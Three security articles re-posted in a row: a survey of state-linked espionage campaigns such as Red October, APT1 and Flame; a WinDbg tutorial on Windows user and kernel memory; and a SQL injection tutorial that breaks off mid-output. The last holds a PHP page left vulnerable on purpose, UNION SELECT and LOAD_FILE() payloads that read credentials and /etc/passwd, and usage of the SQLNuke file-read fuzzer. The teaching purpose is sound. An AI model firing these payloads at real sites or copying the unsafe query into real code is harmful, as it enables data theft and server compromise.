for an undisclosed country belonging to NATO and the European Union, multiple research and educational organizations in France and Belgium, and an electronics company located in Iran and an industrial manufacturer located in Russia. Figure 1 – TeamSpy Victims Despite the cyber espionage that has been discovered recently, following a revelation of Hungary’s National Security Authority on an attack against an unnamed “Hungarian high-profile governmental victim,” the researchers dated the beginning of the cyber espionage operations to as much as a decade ago. Ten years of espionage is an eternity. In cases like this one, a majority of victims ignore they have been compromised, and the long period of time may have allowed the attacking to hide any evidence of their work. Financial data, strategic policies, military operations and intellectual property may be exposed with unpredictable consequences. Security analysts at Kaspersky Lab confirmed a long-term spying operation; the attackers operated varying their methods in time to avoid detection. We are facing an organization that adapted the techniques of attacks to the specific targets, adopting from time to time innovative attack techniques remaining hidden for many years. These attackers used various malware and exploit kits infecting victims with “watering hole” attacks. In this way the TeamSpy compromised websites frequented by the intended victims. In many cases the malicious code used to infect victims was spread by Eleonore exploit kit. The Kaspersky security experts wrote in the report: “For at least several years, a mysterious threat actor infiltrated and tracked, performed surveillance and stole data from governmental organizations, some private companies and human rights activists throughout the Commonwealth of Independent States (CIS) and Eastern European nations. Some parts of this operation extended into Western nations and the Middle East as well, with victims in sectors such as energy and heavy industry manufacturing. The attackers performed their intelligence gathering and surveillance partly using TeamViewer (TeamViewer - Free Remote Control, Remote Access & Online Meetings), a legitimate support software package commonly used for remote administration. In addition, they deployed custom written intelligence gathering components and lateral movement utilities.” Colleagues at CrySyS Lab confirmed that the campaign could be started a decade ago: “Most likely the same attackers are behind the attacks that span for the last 10 years, as there are clear connections between samples used in different years and campaigns,” “Interestingly, the attacks began to gain new momentum in the second half of 2012.”"The attackers surely aim for important targets. This conclusion comes from a number of different facts, including victim IPs, known activities on some targets, traceroute for probably high-profile targets, file names used in information stealing activities, strange paramilitary language of some structures, etc.” The surprises do not end here. Security researchers found that techniques adopted by TeamSpy are quite similar to methods implemented by the authors of an online banking fraud ring known as Sheldon. Meanwhile researchers at Kaspersky Lab found similarities to the Red October cyber espionage campaign. The Red October campaign was discovered by Kaspersky Lab team at the end of 2012.Exactly as the TeamSpy operation, it was organized to acquire sensitive information from diplomatic, governmental and scientific research organizations all over the world – mostly from countries in Eastern Europe, the former USSR members and countries in Central Asia. The campaign hit hundreds of machines belonging to following categories: Government Diplomatic / embassies Research institutions Trade and commerce Nuclear / energy research Oil and gas companies Aerospace Military Various elements made Red October a memorable campaign; hackers used various sophisticated malware that evaded detection at least for 5 years while continuing to stealing hundreds of Terabytes by now. Researchers discovered that attackers exploited at least three different known vulnerabilities during the attacks. CVE-2009-3129 (MS Excel) [attacks dated 2010 and 21011] CVE-2010-3333 (MS Word) [attacks conducted in the summer of 2012] CVE-2012-0158 (MS Word) [attacks conducted in the summer of 2012] Different from other cyber espionage campaigns, Red October has targeted various devices such as enterprise network equipment and mobile devices (Windows Mobile, iPhone, Nokia), this is considered a dangerous and fundamental improvement. The Kaspersky Lab blog post states: “The campaign, identified as “Rocra”, short for “Red October”, is currently still active with data being sent to multiple command-and-control servers, through a configuration which rivals in complexity the infrastructure of the Flame malware. Registration data used for the purchase of C&C domain names and PE timestamps from collected executables suggest that these attacks date as far back as May 2007.” Figure 2 – Red October campaign From the analysis of the control structure, security analysts discovered more than 60 domain names and several servers’ hosts located in many countries, but mainly Germany and Russia. A particularity of the C&C architecture is that the network is arranged to hide the mothership-server true proxy functionality of every node in the malicious structure. According investigation attackers have Russian origins meanwhile used exploits appear to have been created by Chinese hackers. Jeffrey Carr, founder and CEO of Taia Global, Inc., posted on his blog an interesting analysis that links the cyber espionage to RBN, a powerful cybercriminal organization that shut down their operations in 2007 and that was also linked in the past to government representatives. If RedOctober and TeamSpy campaigns still are without official responsibilty, the situation is different for the cyber espionage campaign dubbed APT1 and discovered by Mandiant – the security firm that tracked the operation back to China. The term APT1 is referred to one of the numerous cyber espionage campaigns that stole the major quantity of information all over the world that has interested different sectors from IT to Energy sector. Security experts at Mandiant collected evidence that link APT1 to China’s 2nd Bureau of the People’s Liberation Army (PLA) General Staff Department’s (GSD) 3rd Department (Military Cover Designator 61398) but what is really impressive is that the operations have been started in 2006 targeting 141 victims across multiple industries. Figure 3 – APT1 Cyber espionage campaign (Mandiant) Attackers have taken over the APT1 malware families, and have revealed by the report APT1?s modus operandi (tools, tactics, procedures) including a compilation of videos showing actual APT1 activity. APT1 is responsible for the theft of hundreds of terabytes of data from victim organizations and has demonstrated the capability and intent to steal from dozens of organizations simultaneously. Without wandering too far, at the beginning of 2013 it has been discovered that yet another operation of cyber espionage –dubbed Miniduke due the name of malware used to infect victims that hit private businesses and intelligence agencies all over the world. Once again, the silent cyber threats attacked the above institutions to steal sensitive information and intellectual property causing damage, Kaspersky Lab and Hungary’s Laboratory of Cryptography and System Security (CrySyS) discovered that unknown hackers targeted dozens of computers at government agencies across Europe in a series of cyber-attacks that exploited a recent security flaw in Adobe software. Miniduke victims were located in the following 23 countries: Belgium, Brazil, Bulgaria, Czech Republic, Georgia, Germany, Hungary, Ireland, Israel, Japan, Latvia, Lebanon, Lithuania, Montenegro, Portugal, Romania, Russian Federation, Slovenia, Spain, Turkey, Ukraine, United Kingdom and United States. Security experts suspect that the malicious code was designed with primary intent of gathering sensitive information. The level of sophistication of the attacks and the nature of the targets chosen lead security experts to think that incidents are state-sponsored attacks, but no hypothesis has been formulated on the nationality of the attackers. Since we have spoken of cyber espionage campaigns that mainly interested European Region, in July 2012 Kaspersky Lab experts and its partner Seculert revealed an ongoing campaign dubbed “Madi”, a large scale infiltration of computer systems in the Middle East area. The hackers targeted individuals across several states of the area such as Iran, Afghanistan and also Israel. Security researchers isolated different instances of the malware and identifying Command & Control (C&C) servers, estimating that more than 800 victims located in Middle East area and other select countries across the globe. Figure 4 – Mahdi cyber espionage campaign (Kaspersky) The operation seems to have started in the second half of 2011. Nicolas Brulez from Kaspersky Lab declared: “While the malware and infrastructure is very basic compared to other similar projects, the Madi attackers have been able to conduct a sustained surveillance operation against high-profile victims,”"Perhaps the amateurish and rudimentary approach helped the operation fly under the radar and evade detection.” Madi campaign exploited well known techniques to deliver the malicious payloads; the huge quantity of data collected reveals the real targets of the operation in Middle East, such as government agencies, critical infrastructure engineering firms, and financial houses. The Madi malware enables remote attackers to steal sensitive files from infected Windows computers, monitor all the activities of infected machines, first investigations suggest that multiple gigabytes of data have been stolen. I left for last two major cyber espionage kit discovered in recent years –Duqu and Flame. Duqu is a malware discovered on September 2011 by researchers of CrySyS Lab that got its name from the prefix “~DQ” it gives to the names of files it creates. Duqu is an agent used to gather information on industrial control systems without having destructive purpose. What surprised the security community is its relationship to the popular cyber weapon Stuxnet and its modular structure. Modularity of structure makes Duqu a very powerful tool that could adapt its behavior simply loading a specific payload. Despite the fact it hasn’t used to attack systems, security experts don’t exclude this possibility due the design of specific modules. Duqu is also able to steal digital certificates to be used in successive attacks to sign malicious code increasing its reputation and eluding detection systems. Exactly as its predecessor Stuxnet, Duqu exploited zero-day vulnerability on windows system, the first-known installer analyzed by CrySyS Lab used a Microsoft Word (.doc) that exploits the Win32k TrueType font parsing engine and allows execution. Kaspersky’s team analyzing the malware gathered evidence that shows that behind the Stuxnet and Duqu, there is the same development team that has used a common platform to build the malware. But what is really interesting and new is that the researchers are convinced that the same framework has been also used to design other malware. Costin Raiu, Director of Kaspersky Lab’s Global Research, said “It’s like a Lego set. You can assemble the components into anything: a robot or a house or a tank,” Researchers with Kaspersky have named the platform “Tilded” because many of the files in Duqu and Stuxnet have names beginning with the tilde symbol “~” and the letter “d.” I conclude this view on principal cyber espionage campaign with Flame malware detected in May 2012by the Iranian Computer Emergency Response Team (MAHER), CrySyS Lab and Kaspersky Lab. Once again the malicious code hit Windows systems of the Middle East area, specifically Iran, circumstances that don’t leave doubts on its state-sponsored origin. The discovery was made by Iranian scientists during the investigation on the malicious agents Stuxnet and Duqu, and what surprised them was the capability of the malware to dynamically change its behavior, including receiving and installing specific modules designed to address specific targets. The malware is dated at least to 2010 and it is considered a complex agent designed with the primary intent to create a comprehensive cyber espionage tool kit. The Kaspersky team demonstrated a strong correlation between Stuxnet and Flame, also highlighting deep differences between the malicious codes, Kaspersky expert Roel Schouwenberg noted that no Flame components have been used in more advanced versions of Stuxnet: “Flame was used as some sort of a kick-starter to get the Stuxnet project going,” he stated. “As soon as the Stuxnet team had their code ready, they went their way.” Starting from 2009, the evolution of the two projects has proceeded independently. This circumstance supports the hypothesis that behind Stuxnet and Flame there were two distinct groups of development named by Kaspersky “Team F” (Flame) and “Team D” (Tilded). Kaspersky CEO Eugene Kaspersky declared: “there were two different teams working in collaboration.” Figure 5 – Geographic Distribution of Flame malware according Kaspersky Lab Finally, see this view on principal cyber espionage campaigns detected in the last years.Let’s try to analyze various factors that emerge in an initial analysis. [TABLE] [TR] [TD]Campaign name[/TD] [TD]Public disclosure[/TD] [TD]Authors of disclosure[/TD] [TD]Dated[/TD] [TD]Characteristics[/TD] [TD]Geographic distribution of victims[/TD] [/TR] [TR] [TD]TeamSpy[/TD] [TD]Mar 2013[/TD] [TD]CrySyS Lab/ Kaspersky Lab[/TD] [TD]Dated ten years ago[/TD] [TD]Malware based attacks /water holing technique /digital signed malicious code[/TD] [TD]Commonwealth of Independent States (CIS) and Eastern European nations Russia[/TD] [/TR] [TR] [TD]Red October[/TD] [TD]Oct 2012[/TD] [TD]Kaspersky Lab[/TD] [TD]2007[/TD] [TD]Malware based attacks. Use if various Zero-Day exploits[/TD] [TD]Worldwide campaign[/TD] [/TR] [TR] [TD]APT1 [/TD] [TD]Feb 2013[/TD] [TD]Mandiant[/TD] [TD]2006[/TD] [TD]Malware based attacks. [/TD] [TD]Worldwide cyber espionage campaign conducted by Chinese PLA[/TD] [/TR] [TR] [TD]MiniDuke[/TD] [TD]Feb 2013[/TD] [TD]FireEye, CrySyS Lab/ Kaspersky Lab[/TD] [TD]N/A[/TD] [TD]Malware based attacks that exploited security flaw in Adobe software. [/TD] [TD]Worldwide campaign, mainly targeted European States[/TD] [/TR] [TR] [TD]Mahdi[/TD] [TD]July 2012[/TD] [TD]Kaspersky Lab / Seculert[/TD] [TD]H2 2011[/TD] [TD]Malware based attacks.[/TD] [TD]Middle East[/TD] [/TR] [TR] [TD]Duqu[/TD] [TD]Sep 2011[/TD] [TD]CrySyS Lab[/TD] [TD]Officially 2007[/TD] [TD]Malware based attacks. Use win Zero-Day exploits[/TD] [TD]Worldwide[/TD] [/TR] [TR] [TD]Flame[/TD] [TD]May 2012[/TD] [TD]Computer Emergency Response Team (MAHER) CrySyS Lab/ Kaspersky Lab[/TD] [TD]2010[/TD] [TD]Malware based attacks.[/TD] [TD]Middle East[/TD] [/TR] [/TABLE] Principal considerations: Cyber espionage phenomena have exploded in the last months. The operations detected appear related to governments’ activities or anyway conducted by group of state-sponsored hackers. In every case, the high profile of victims, the geographic distribution of the infection, and nature of the information gathered suggest a strong commitment of governments. The level of complexity of malicious code developed to hit specific targets is high. In cases such as Duqu/Stuxnet and the APT1 campaigns, the attackers have conducted continuous research over time to adapt their offensive, defining new strategies and exploiting an increasing number of vulnerabilities. This consideration corroborates the hypothesis that behind the attacks, there are groups of high skilled specialists supported and financed by governments that prepared with meticulous care every operation. The majority of operations is dated many years ago, this means that actors behind the operations have had time to collect high quantity of information with direct impact on economic, politics and industrial aspects of the victims. All the presented cases are characterized by a multiple attacks against various sectors of the country hit, with one unique exception represented by Duqu, that despite could be also used for pure cyber espionage activity has been spread with primary purpose to gather info of targets of cyber-attacks. The duration of the operations highlight the inadequacy of defense systems. The cyber threats, in fact, have remained hidden for long period. In the current cyber scenario, a multi layered approach is absolutely needed to build alert networks to detect cyber espionage campaigns in time. Some companies such as Mandiant have tried to define a set of indicators that could trigger an alarm related to ongoing cyber espionage activities. Probably while I’m writing many other campaigns are ongoing, many experts believe that the attacks discovered are just the tip of the iceberg. Another curious detail that often not perceived is that all these cyber threats were not discovered by government entities, except for Flame case, nevertheless governmental agencies around the world have been attacked successfully. This consideration makes me think that governments and their infrastructures are still too much vulnerable to cyber threats and totally unprepared to mitigate their effects. Are states all over the world really ready to play a cyber-dispute on global scale? Are countries conscious that being unprepared to the cyber threats could change the course of their history? As some claim, do we really need to take a step back before to reach a point of no return? I wonder how many political decisions have already been influenced by knowledge of the information stolen during these campaigns. While cyber espionage has probably already written the contemporary history, do we want it to change our future? [h=2]References[/h] http://www.crysys.hu/teamspy/teamspy.pdf Red October, RBN and too many questions still unresolved | Security Affairs https://www.securelist.com/en/downloads/vlpdfs/theteamspystory_final_t2.pdf https://www.securelist.com/en/blog/785/The_Red_October_Campaign_An_Advanced_Cyber_Espionage_Network_Targeting_Diplomatic_and_Government_Agencies Digital Dao: RBN Connection to Kaspersky's Red October Espionage Network http://intelreport.mandiant.com/Mandiant_APT1_Report.pdf https://www.securelist.com/en/downloads/vlpdfs/themysteryofthepdf0-dayassemblermicrobackdoor.pdf http://www.crysys.hu/publications/files/bencsathPBF11duqu.pdf DuQu analysis — ENISA InfoSec Institute Resources – Flame: The Never Ending Story Sursa: InfoSec Institute Resources – TeamSpy, Miniduke, Red October, and Flame: Analyzing Principal Cyber Espionage Campaigns

Windows Architecture and User/Kernel Mode Dejan Lukan March 27, 2013 Introduction Each process started on x86 version of Windows uses a flat memory model that ranges from 0×00000000 – 0xFFFFFFFF. The lower half of the memory, 0×00000000 – 0x7FFFFFFF, is reserved for user space code.While the upper half of the memory, 0×80000000 – 0xFFFFFFFF, is reserved for the kernel code. The Windows operating system also doesn’t use the segmentation (well actually it does, because it has to), but the segment table contains segment descriptors that use the entire linear address space. There are four segments, two for user and two for kernel mode, which describe the data and code for each of the modes. But all of the descriptors actually contain the same linear address. This means they all point to the same segment in memory that is 0xFFFFFFFF bits long, proving that there is no segmentation on Windows systems. Let’s execute the “dg 0 30? command to display the first 7 segment descriptors that can be seen on the picture below: Notice that the 0008, 0010, 0018 and 0020 all start at base address 0×00000000 and end at address 0xFFFFFFFF: They represent the data and code segments of user and kernel mode. This also proves that the segmentation is actually not used by the Windows system. Therefore we can use the terms”virtual address space” and “linear address space” interchangeably, because they are the same in this particular case. Because of this, when talking in user space code being loaded in the virtual address space from 0×00000000 to 0x7FFFFFFF, we’re actually talking about linear addresses. Those addresses are then sent into the paging unit to be translated into physical addresses. We’ve just determined that even though each process uses a flat memory model that spans the entire 4GB linear address space, it can only use half of it.This is because the other half is reserved for kernel code: the program can thus use, at most, 2GB of memory. Every process has its own unique value in the CR3 register that points to the process’ page directory table. Because each process has its own page directory table that is used to translate the linear address to physical address, two processes can use the same linear address, while their physical address is different. Okay, so each program has its own address space reserved only for that process, but what about the kernel space? Actually, the kernel is loaded only once in memory and each program must use it. This is why each process needs appropriate pointers set-up that do just that. It means that the PDEs stored in the page directory of every process point to the same kernel page table. We know that the kernel’s memory is protected by various mechanisms, so the user process can’t call it directly, but can call into the kernel by using special gates that only allow certain actions to be requested of kernel. Thus, we can’t simply tell a program to go into kernel mode and do whatever it pleases,because the code that does whatever we want is in user space. Therefore,the programs can only request a special action that’s already provided by a kernel’s code to do it for them. If we would like to run our own code in kernel memory, we must first find a way to pass the code to the kernel and stay there. One such example would be the installation of some driver that requires kernel privileges to be run,because it’s interacting more or less directly with the hardware component for which the driver has been written. The user processes can then use that driver’s functionality to request certain actions to be done: but only those that have been implemented in the driver itself. I hope I made it clear that the functionality run in kernel mode is limited to the functionality of the code loaded in kernel mode, and thus the code from user mode is not allowed to be executed with kernel privileges. Let’s take a look at an example. On the Windows system being debugged by Windbg, I started Internet Explorer and Opera to analyze their memory space. After the programs have been started, I run the “!process 0 0? command to get the basic information about all the processes currently active on a system. The result of the command can be shown below where we’ve only listed the two processes in question (not all of them): [TABLE] [TR] [TD=class: gutter]1 2 3 4 5 6 7 8[/TD] [TD=class: code]kd> !process 0 0 PROCESS 821e23c0 SessionId: 0 Cid: 0380 Peb: 7ffd4000 ParentCid: 05d4 DirBase: 094c01a0 ObjectTable: e1e88650 HandleCount: 307. Image: opera.exe PROCESS 81f799f8 SessionId: 0 Cid: 047c Peb: 7ffd8000 ParentCid: 05d4 DirBase: 094c0200 ObjectTable: e1c7b630 HandleCount: 570. Image: IEXPLORE.EXE [/TD] [/TR] [/TABLE] The DirBase element above is actually the value that gets stored in the CR3 register every time a context-switch to a particular process occurs. That value is used as a pointer to the page table directory that contains PDEs. The page directory table of process opera.exe is stored at physical address 0x094c01a0, while the page directory table of process IEXPLORE.EXE is stored at physical address 0x094c0200. Because the 0×00000000 to 0x7FFFFFFF linear address space is used by the program and not the kernel, the program will use the first half of the PDE entries in its page directory, while the kernel will use the second half. Since, if PAE is disabled, each program has 1024 PDE entries, 512 of them refer to user space memory, and the other 512 refer to kernel space memory. The !process commands above have been used to get the pointer to the process’s EPROCESS structure in memory. With the .process command, we can set the context to the current process. This is mandatory step if we would like to run some other commands that require us to be in the process’s context in order to be run successfully. To switch to the context of the iexplore.exe process, we have to execute the “.process 81f799f8? command as can be seen below: There was some warning message about forcedecodeuser not being enabled. The problem with this is that the context switch won’t occur to the requested process. To solve that we need to enabled the forcedecodeuser with the “.cache forcedecodeuser” command. The output from that command can be seen on the picture below: Notice that we’ve first enabled the forcedecodeuser, and then run the .process command to switch to the context of the iexplore.exe’s process? This time there was no error message and the context-switch actually occurred. Notice that all the loaded DLLs that the program uses have been loaded in the user space (keep in mind that we didn’t present all the DLLs because the iexplore.exe uses too many of them to be presented in a sane manner). All the loaded DLLs also have their path displayed, which makes it very easy to find them on the hard drive. Let’s also present the second part of the output, which has long lines, so they can’t be presented here. Luckily the windbg has a “word wrap” functionality that can be enabled by right-clicking on the window and selecting “Word wrap” as can be seen below: Notice that the “Word wrap” is enabled, which means that the lines will only be as long as the window’s width.If lines are longer they will be wrapped and put into the second line. Let’s now present the second half of the output from running the !peb command: There are quite many information available on the picture above, like the address of the process heap, the process parameters, the command line used to invoke the program, the path where to search for DLLs, etc. Also all the environment variables of this process are shown, but only the first three are presented for clarity. Let’s now download the Sysinternals Suite and run the vmmap tool, which will ask us to select a process when launching. We can see that on the picture below, where we must select the IEXPLORE.EXE to view it’s memory: The vmmon will then analyze the memory and present us with the statistics about which memory is used for heap, stack, data, etc. This can be seen on the picture below: Windows Architecture Let’s present a picture about Windows Architecture taken from [2]: On the picture above we can see the HAL (Hardware Abstraction Layer), which is the first abstraction layer that abstracts the hardware details from the operating system. The operating system can then call the same API functions and the HAL takes care of how they are actually executed on the underlying hardware. Every driver that is loaded in the kernel mode uses HAL to interact with the hardware components, so even the drivers don’t interact with hardware directly. The kernel drivers can interact with the hardware directly, but usually they don’t need to, since they can use HAL API to execute some action. The hardware abstraction layer’s API is provided with the hal.dll library file that is located in the C:\WINDOWS\system32\ directory as can be seen below: The rest of the system kernel components are provided by the following libraries and executables [3]: csrss.exe : manages user processes and threads win32k.sys : user and graphics device driver (GDI) kernel32.dll : access to resources like file system, devices, processes, threads and error handling in Windows systems advapi32.dll : access to windows registry, shutdown/restart the system, start/stop/create services, manage user accounts user32.dll : create and manage screen windows, buttons, scrollbars, receive mouse and keyboard input gdi32.dll : outputs graphical content to monitors, printers and other output devices comdlg32.dll : dialog boxes for opening and saving files, choosing color and font comctl32.dll : access to status bars, progress bars, tools, tabs shell32.dll : access the operating system shell netapi32.dll : access to networking functions The programs can use Windows API (Win 32 API) to implement the needed actions. But the WinAPI uses the described DLL libraries underneath. Right above the kernel mode is the user mode, where the most important library is ntdll.dll.Thatcan be used as an entry point into the kernel if some process needs services of the kernel. Conclusion We’ve seen how the user and kernel mode are separated and what each of those provide to the user. The kernel mode is used to provide services to the user mode applications. The kernel mode is capable of doing almost anything with the underlying system, but the most important thing is the existence of Win32 API that provides another abstraction layer over the underlying hardware components. If you’re interested in knowing all of the system libraries that a kernel uses, you can run the “lm n” command in Windbg, which will list all of the libraries used by the kernel mode. kd> lm n start end module name 7c900000 7c9b2000 ntdll ntdll.dll 804d7000 806d0280 nt ntkrnlpa.exe 806d1000 806e4d00 hal halacpi.dll bf000000 bf011600 dxg dxg.sys bf012000 bf028000 VBoxDisp VBoxDisp.dll bf800000 bf9c7e00 win32k win32k.sys f57cf000 f580fa80 HTTP HTTP.sys f5978000 f59cf600 srv srv.sys f5a20000 f5a4c180 mrxdav mrxdav.sys f5b0d000 f5b17000 secdrv secdrv.sys f5e79000 f5e7c900 ndisuio ndisuio.sys f6ee9000 f6f00900 dump_atapi dump_atapi.sys f6fa1000 f6fc6500 ipnat ipnat.sys f6fef000 f705e780 mrxsmb mrxsmb.sys f705f000 f7089e80 rdbss rdbss.sys f709c000 f70d9000 VBoxSF VBoxSF.sys f70d9000 f70fad00 afd afd.sys f70fb000 f7122c00 netbt netbt.sys f7123000 f717b480 tcpip tcpip.sys f717c000 f718e600 ipsec ipsec.sys f71cb000 f71cd900 Dxapi Dxapi.sys f71d7000 f7234f00 update update.sys f7235000 f7257700 ks ks.sys f7264000 f7266f80 mouhid mouhid.sys f7268000 f726a880 hidusb hidusb.sys f7280000 f72afe80 rdpdr rdpdr.sys f72b0000 f72c0e00 psched psched.sys f72c1000 f72d7580 ndiswan ndiswan.sys f72d8000 f72fb200 USBPORT USBPORT.SYS f72fc000 f730ff00 VIDEOPRT VIDEOPRT.SYS f7310000 f7334000 VBoxVideo VBoxVideo.sys f7334000 f7347900 parport parport.sys f7348000 f7362000 VBoxMouse VBoxMouse.sys f838d000 f838f280 rasacd rasacd.sys f83c1000 f83dab80 Mup Mup.sys f83db000 f8407980 NDIS NDIS.sys f8408000 f8494600 Ntfs Ntfs.sys f8495000 f84b4000 VBoxGuest VBoxGuest.sys f84b4000 f84cab00 KSecDD KSecDD.sys f84cb000 f84dcf00 sr sr.sys f84dd000 f84fcb00 fltMgr fltMgr.sys f84fd000 f8514900 atapi atapi.sys f8515000 f853a700 dmio dmio.sys f853b000 f8559880 ftdisk ftdisk.sys f855a000 f856aa80 pci pci.sys f856b000 f8598d80 ACPI ACPI.sys f869a000 f86a3180 isapnp isapnp.sys f86aa000 f86b4580 MountMgr MountMgr.sys f86ba000 f86c6c80 VolSnap VolSnap.sys f86ca000 f86d2e00 disk disk.sys f86da000 f86e6180 CLASSPNP CLASSPNP.SYS f872a000 f8736d00 i8042prt i8042prt.sys f873a000 f8749600 cdrom cdrom.sys f874a000 f8752a00 pcntpci5 pcntpci5.sys f875a000 f8766880 rasl2tp rasl2tp.sys f876a000 f8774200 raspppoe raspppoe.sys f877a000 f8785d00 raspptp raspptp.sys f878a000 f8792900 msgpc msgpc.sys f87da000 f87e3f00 termdd termdd.sys f87ea000 f87f3e80 NDProxy NDProxy.SYS f87fa000 f8808880 usbhub usbhub.sys f881a000 f8822780 netbios netbios.sys f885a000 f8864e00 Fips Fips.SYS f888a000 f8899900 Cdfs Cdfs.SYS f889a000 f88a2700 wanarp wanarp.sys f88aa000 f88b3000 HIDCLASS HIDCLASS.SYS f891a000 f8920180 PCIIDEX PCIIDEX.SYS f8922000 f8926d00 PartMgr PartMgr.sys f895a000 f8960000 kbdclass kbdclass.sys f8962000 f8967a00 mouclass mouclass.sys f896a000 f896e300 usbohci usbohci.sys f8972000 f8979600 usbehci usbehci.sys f897a000 f897ea80 TDI TDI.SYS f8982000 f8986580 ptilink ptilink.sys f898a000 f898e080 raspti raspti.sys f89b2000 f89b7200 vga vga.sys f89ba000 f89bea80 Msfs Msfs.SYS f89c2000 f89c9880 Npfs Npfs.SYS f89ca000 f89d0180 HIDPARSE HIDPARSE.SYS f89e2000 f89e6500 watchdog watchdog.sys f8aaa000 f8aad000 BOOTVID BOOTVID.dll f8aae000 f8ab0800 compbatt compbatt.sys f8ab2000 f8ab5780 BATTC BATTC.SYS f8b3e000 f8b41680 CmBatt CmBatt.sys f8b42000 f8b44780 ndistapi ndistapi.sys f8b7a000 f8b7dc80 mssmbios mssmbios.sys f8b9a000 f8b9bb80 kdcom kdcom.dll f8b9c000 f8b9d100 WMILIB WMILIB.SYS f8b9e000 f8b9f580 intelide intelide.sys f8ba0000 f8ba1700 dmload dmload.sys f8bca000 f8bcb100 swenum swenum.sys f8bcc000 f8bcd280 USBD USBD.SYS f8bce000 f8bcff00 Fs_Rec Fs_Rec.SYS f8bd0000 f8bd1080 Beep Beep.SYS f8bd2000 f8bd3080 mnmdd mnmdd.SYS f8bd4000 f8bd5080 RDPCDD RDPCDD.sys f8be4000 f8be5100 dump_WMILIB dump_WMILIB.SYS f8c00000 f8c01a80 ParVdm ParVdm.SYS f8ca7000 f8ca7d00 dxgthk dxgthk.sys f8d38000 f8d38c00 audstub audstub.sys f8de1000 f8de1b80 Null Null.SYS Unloaded modules: f884a000 f8855000 imapi.sys f883a000 f8849000 redbook.sys f882a000 f883a000 serial.sys f89aa000 f89af000 Cdaudio.SYS f8391000 f8394000 Sfloppy.SYS f89a2000 f89a7000 Flpydisk.SYS f899a000 f89a1000 Fdc.SYS We can see that there are a lot of loaded libraries that kernel mode uses to provide services to the user application and to keep track of everything the operating system must do. References: [1] PankajGarg, Windows Memory Management, accessible at http://www.intellectualheaven.com/Articles/WinMM.pdf. [2] HanyBarakat’s Technical Blog, accessible at Deeper into Windows Architecture - Hany Barakat's Technical Blog - Site Home - MSDN Blogs. [3] Windows API, accessible at Windows API - Wikipedia, the free encyclopedia. Sursa: InfoSec Institute Resources – Windows Architecture and User/Kernel Mode

SQLNuke – Simple but Fast MySQL Injection load_file() Fuzzer Jay Turla March 27, 2013 In SQL (Structured Query Language) Injection, there are many kinds of techniques that are partnered with UNION SELECT statements like LOAD_FILE(), INTO OUTFILE(), INFORMATION_SCHEMA, Char(), CAST(), and LIMIT. Most attackers usually take advantage of the union statements, information_schema, and the order by statements but neglecting some of the techniques just for the sake of getting the usernames and the passwords of the website administrator, just like the example below: http://localhost/sqlnuke.php?id=-1+union+select+1,concat(username,0x3a,password),3,4%20from%20accounts Below is the sample code I wrote and used for this article: <?php // Jay Turla made this script vulnerable on purpose $id = $_GET["id"]; // Open a Connection to the MySQL Server $con = mysql_connect("localhost", "username", "password"); if (!$con) { die('Could not connect to the MySQL Server ' . mysql_error()); } //Set Database mysql_select_db("database_name", $con); // SQL Query $sql= "SELECT * FROM table_name where id_number = $id"; echo "<h2>I am Vulnerable to SQL Injection </h2><br /> "; $res = mysql_query($sql); while($row = mysql_fetch_array($res)) { echo "<strong>Username:</strong> " . $row['username'] . "<br />"; echo "<strong>Password:</strong> " . $row['password'] . "<br />"; echo "<strong>Signature:</strong> " . $row['mysignature'] . "<br />"; echo "<br />"; } // Close a Connection mysql_close($con); ?> Now, let’s get to the point! In this article, let’s discuss the possible things we can do using the MySQL LOAD_FILE() function and a new tool called SQLNuke. According to w3resource, “The MySQL LOAD_FILE() reads the file and returns the file contents as a string.” To use this function, the file must be located on the host server, user must specify the full path name of the file, and user must have the FILE privilege. The file must be readable and size must be less than max_allowed_packet (set in the my.ini file) bytes. It returns NULL if the file does not exist or can’t be read.“ The syntax for this should be something like: http://localhost/sqlnuke.php?id=1+union+select+1,load_file(‘file_name/path_name’),3,4 Wait! A path name? Yes, you read that right! In that case, it’s possible that an attacker could do a directory traversal just like the Local File Inclusion (LFI) web attack. Suppose we found out the number of columns, then we should be able to execute the union select query together with the LOAD_FILE() function to achieve the attack vector. This is a kind of technique used to gather some information on the server, like concatenating the /etc/passwd, /etc/hosts, /etc/shadow and other error log files. Example: http://localhost/sqlnuke.php?id=1+union+select+1,load_file(‘/etc/passwd’),3,4 It takes a lot of time to guess the files of the server and put the path name inside the load_file() function but with SQLNuke, you speed up these problems and save more time. SQLNuke is a free and open source MySQL Injection load_file() Fuzzer written in object oriented Ruby version 1.8.7 and coded by a security researcher who goes by the handle ‘nuke99?. It is very simple to use and easy to understand. Installation and Basic Usage: To install SQLNuke, clone the SQLNuke repository to your local system with git clone https://github.com/nuke99/sqlnuke.git. Make sure that you have also installed git in order to clone SQLnuke, and Ruby in order to run it, because it is written in Ruby. If you don’t have git and Ruby, you can install these two packages by using the commands below if you are using a Debian based distro like Ubuntu, BackTrack, BackBox or Linux: sudo apt-get install git-core sudo apt-get install ruby To get started with SQLNuke, go into the SQLNuke directory with cd sqlnuke and launch it with the command ./sql.rb. Command Usage Now let’s try and hit http://localhost/sqlnuke.php?id=1+union+select+1,2,3,4 as our target. We change 2 in our target link with XxxX so that it will be overwritten with the load_file() function: root@bt:~/sqlnuke# ./sql.rb -u 'http://localhost/sqlnuke.php?id=1+union+select+1,XxxX,3,4' [!] localhost folder already exists [!] No OS selected, Continue with all the possibilities [200] - [Success] /etc/passwd [200] - [Failed] /etc/shadow [200] - [Success] /etc/group [200] - [Success] /etc/hosts [200] - [Failed] /etc/apache2/logs/access.log [200] - [Failed] /etc/httpd/access.log [200] - [Failed] /etc/init.d/apache/httpd.conf [200] - [Failed] /etc/init.d/apache2/httpd.conf [200] - [Failed] /usr/local/apache2/conf/httpd.conf [200] - [Failed] /usr/local/apache/conf/httpd.conf [200] - [Failed] /home/apache/httpd.conf [200] - [Failed] /home/apache/conf/httpd.conf [200] - [Failed] /opt/apache/conf/httpd.conf [200] - [Failed] /etc/httpd/httpd.conf [200] - [Failed] /etc/httpd/conf/httpd.conf [200] - [Failed] /etc/apache/apache.conf [200] - [Failed] /etc/apache/httpd.conf [200] - [Success] /etc/apache2/apache2.conf [200] - [Success] /etc/apache2/httpd.conf [200] - [Success] /etc/apache2/sites-available/default [200] - [Failed] /etc/apache2/vhosts.d/default_vhost.include [200] - [Failed] /var/www/vhosts/sitename/httpdocs//etc/init.d/apache [200] - [Failed] C:/wamp/bin/apache/logs/access.log [200] - [Failed] C:/wamp/bin/mysql/mysql5.5.24/wampserver.conf [200] - [Failed] C:/wamp/bin/apache/apache2.2.22/conf/httpd.conf [200] - [Failed] C:/wamp/bin/apache/apache2.2.22/conf/wampserver.conf [200] - [Failed] 